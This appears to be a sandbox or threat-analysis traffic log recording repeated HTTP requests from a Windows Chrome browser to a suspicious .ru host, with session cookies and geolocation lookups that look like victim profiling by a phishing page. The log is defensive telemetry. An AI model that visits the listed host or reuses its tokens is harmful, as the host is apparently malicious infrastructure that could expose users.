laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opfcLnHsFx016txFTx2Iq6C4apeAijFmERgqguX6Uhe5z3fed9Opef199 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijjFzAH9d8ZCrlbbUJYhVZkgMzwg1FU3pf6BvbNt89p6EXpDgRpNaQgT1RjflSLZzyz230 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij9JmFrpe9fPkPKoPi2kS8COwyZisffNzM5kyw9QbmnjC0FHS4Oj4xVs4dCiJ0s89lkm979vtef204 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnhXTtKSnd2EnObhymzOHchdAv0FLCBM2O56KxQiRHeAXzQGPPglyFvueEkx9cuv220 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnMF5q6GR6pPSfidW9tT189FWiBOdTuvQzqgHato21TzMM90150 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrFlDBWhFnh5hIN9Hd7VV64TSe7YSWfbyTWzKb8YvaGuvWivWyCldp68q60rl7a4S1Hcd238 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /steXg0CxWWvOSFrcNxlO5qV0VgisEPEetPawKJ0Cqvmn6CSaOH3RimifSka7bNPRgh260 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/ozejnwagjzfhchdtgdkhznzuwutslffhwfauyfpfficxqjrbtqhkgrwop4iwnmyv81tk4qr15?DYVXZMXYFZTKPQTVNEWPBOLPLDHJYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijhDKdJXERIvoQAbAULSEWt9lPA2XCIIOY7q9Cwxc1K14c9eOhXNLf2I56165 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opfcLnHsFx016txFTx2Iq6C4apeAijFmERgqguX6Uhe5z3fed9Opef199 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzhVvvrbtHetJlBWJqFj8ZEAe7Nkop42OfI7xSK2W4sfhcSC9JubG90180 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij9JmFrpe9fPkPKoPi2kS8COwyZisffNzM5kyw9QbmnjC0FHS4Oj4xVs4dCiJ0s89lkm979vtef204 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrFlDBWhFnh5hIN9Hd7VV64TSe7YSWfbyTWzKb8YvaGuvWivWyCldp68q60rl7a4S1Hcd238 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /steXg0CxWWvOSFrcNxlO5qV0VgisEPEetPawKJ0Cqvmn6CSaOH3RimifSka7bNPRgh260 HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFHRklGYStYNHF3NnU2M0lYZ3BlOVE9PSIsInZhbHVlIjoiOVpMMlpoWXNaSlZaVWt6QlJseFA1YmR6bDRsT2RwbzZEc2F3RzVmTnFTUjFHaXBuYUxSaHBHb0x1UjYreVJGc0dVbVR4VG9GeE1zMGNLQUFqTDlMbGN6eGgyd1EvTTdFY3ZHZE5KVlNDSi9uS3ROWldrZzdjNG9ML05CL3JIUEwiLCJtYWMiOiJkNzc2NDczYTczMmFkZjMzMDU3YjI3MDkyNWFkZWFhZGEwODJiYmRhY2UzZjUxNGUxMzExMzk1MTU4MWMyNDRkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijl2emVYNm0zTjdwVjF1N1djeStMZ1E9PSIsInZhbHVlIjoiL0hpMlFCR3JmbHgrYVhWK1JvNHV4M0REZERlazBvVzBkWTB6a0dYOGJUQVFZVVVwL2I0blVLdWVIV1dkR1E5VUFmWFJTeVlKTzRZR1U2RE5iZlFVN2xyZUxQbENzY3FTUTVkRjEwUk9IZFZycDVXVjQrRXJ6bTY5YjRvS3NjSEciLCJtYWMiOiJjNzkzMWVkMTFmNmEwNjc5ZTE3OWRhNGI2MDY2YWY2MDJhMzI3NjkxNDQ4YmIyZmZjMjhkMTgzOGI1ZDVmZGM1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://c2uah.yazvbqkl.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
